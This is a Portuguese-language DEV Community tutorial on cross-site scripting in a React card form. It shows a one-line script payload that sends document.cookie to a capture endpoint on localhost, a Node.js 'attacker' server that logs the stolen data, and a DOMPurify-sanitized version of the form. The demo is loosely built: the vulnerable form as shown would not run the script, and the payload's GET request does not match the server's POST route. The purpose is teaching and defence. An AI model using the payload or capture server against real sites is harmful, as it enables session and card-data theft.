DEV Community

Lucas Rocha
Lucas Rocha

Posted on

Explorando e Mitigando XSS em Formulários com React e Node.js

🚨Antes de começar aproveito para lembrar que estou isento de quaisquer responsabilidades sobre o mau uso dos tópicos abordados nesse artigo, essa poc foi criada exclusivamente para fins acadêmicos.🚨

A segurança na web é um tema essencial para qualquer desenvolvedor. Um dos ataques mais comuns e perigosos é o Cross-Site Scripting (XSS), que permite a injeção de scripts maliciosos em aplicações web. Neste artigo, vamos explorar como uma aplicação vulnerável pode ser explorada e como podemos mitigar esses ataques.

🚨 Como Funciona um Ataque XSS?

O ataque XSS ocorre quando um invasor injeta código JavaScript malicioso em um site, explorando a falta de sanitização de entradas do usuário. Se a aplicação renderizar essa entrada diretamente no HTML sem validação, o código malicioso será executado no navegador da vítima.

Exemplo de Exploração XSS

Um atacante pode inserir um código como este em um campo de formulário:

<script>fetch('http://localhost:4000/capture-cookies?cookie=' + document.cookie)</script>
Enter fullscreen mode Exit fullscreen mode

Se a aplicação não tratar corretamente essa entrada, o código será executado e enviará os cookies da vítima para o servidor do atacante.

🛠 Criando um Formulário Vulnerável

Vamos criar um formulário em React que está vulnerável a XSS. Esse formulário captura dados do usuário e exibe um alerta com as informações inputadas.

"use client";

import React, { useState, ChangeEvent } from "react";

const VulnerableCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: value,
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Inputados:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Vulnerable Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default VulnerableCardFormComponent;
Enter fullscreen mode Exit fullscreen mode

Esse formulário não sanitiza os inputs, permitindo a execução de código JavaScript malicioso.

🔥 Criando um Servidor para Capturar os Dados

Agora, vamos configurar um servidor Node.js que simula o papel do atacante, capturando os cookies e os dados do formulário enviados pelo código malicioso.

import express from "express";
import bodyParser from "body-parser";
import cors from "cors";

const app = express();
const port = 4000;

app.use(bodyParser.json());
app.use(cors());

app.post("/capture-cookies", (req, res) => {
  console.log("Dados Capturados:", req.body);
  res.send("Dados Recebidos");
});

app.listen(port, () => {
  console.log(`Servidor rodando em http://localhost:${port}`);
});
Enter fullscreen mode Exit fullscreen mode

Com esse servidor rodando, qualquer requisição feita para http://localhost:4000/capture-cookies será registrada no console.

🛡 Mitigando o Ataque com Sanitização e Criptografia

Agora, vamos corrigir as vulnerabilidades e criar um formulário seguro.

import React, { useState, ChangeEvent } from "react";
import DOMPurify from "dompurify";

const SecureCardFormComponent: React.FC = () => {
  const [inputs, setInputs] = useState({
    email: "",
    cardNumber: "",
    cardHolderName: "",
    expirationDate: "",
    cvvCvc: "",
    address: "",
  });

  const handleChange = (e: ChangeEvent<HTMLInputElement>): void => {
    const { name, value } = e.target;
    setInputs((prevInputs) => ({
      ...prevInputs,
      [name]: DOMPurify.sanitize(value),
    }));
  };

  const handleSubmit = (): void => {
    alert(`Dados Seguros:\n${JSON.stringify(inputs, null, 2)}`);
  };

  return (
    <div>
      <h1>Secure Form</h1>
      <input type="text" name="email" onChange={handleChange} placeholder="Email" />
      <input type="text" name="cardNumber" onChange={handleChange} placeholder="Card Number" />
      <input type="text" name="address" onChange={handleChange} placeholder="Endereço" />
      <button onClick={handleSubmit}>Submit</button>
    </div>
  );
};

export default SecureCardFormComponent;
Enter fullscreen mode Exit fullscreen mode

🚀 O que mudamos?

  • Sanitização: Usamos DOMPurify.sanitize(value) para evitar a execução de código malicioso.
  • Prevenção de XSS: Qualquer tentativa de injeção de <script> será removida antes de processar os dados.

📌 Conclusão

Explorar vulnerabilidades como XSS é fundamental para entendermos como proteger melhor nossas aplicações. Neste artigo, demonstramos:

✅ Como ataques XSS funcionam na prática.
✅ Como um servidor malicioso pode capturar dados sensíveis.
✅ Como prevenir ataques usando sanitização.

Se você curtiu esse artigo, deixe seu comentário e compartilhe! 🚀

Quadratic AI

Quadratic AI – The Spreadsheet with AI, Code, and Connections

  • AI-Powered Insights: Ask questions in plain English and get instant visualizations
  • Multi-Language Support: Seamlessly switch between Python, SQL, and JavaScript in one workspace
  • Zero Setup Required: Connect to databases or drag-and-drop files straight from your browser
  • Live Collaboration: Work together in real-time, no matter where your team is located
  • Beyond Formulas: Tackle complex analysis that traditional spreadsheets can't handle

Get started for free.

Watch The Demo 📊✨

Top comments (1)

Collapse
 
_pereirajuliana profile image
Juliana Pereira

Muito didático e bem explicado. Parabéns!

AWS Security LIVE!

Join us for AWS Security LIVE!

Discover the future of cloud security. Tune in live for trends, tips, and solutions from AWS and AWS Partners.

Learn More

👋 Kindness is contagious

Explore a trove of insights in this engaging article, celebrated within our welcoming DEV Community. Developers from every background are invited to join and enhance our shared wisdom.

A genuine "thank you" can truly uplift someone’s day. Feel free to express your gratitude in the comments below!

On DEV, our collective exchange of knowledge lightens the road ahead and strengthens our community bonds. Found something valuable here? A small thank you to the author can make a big difference.

Okay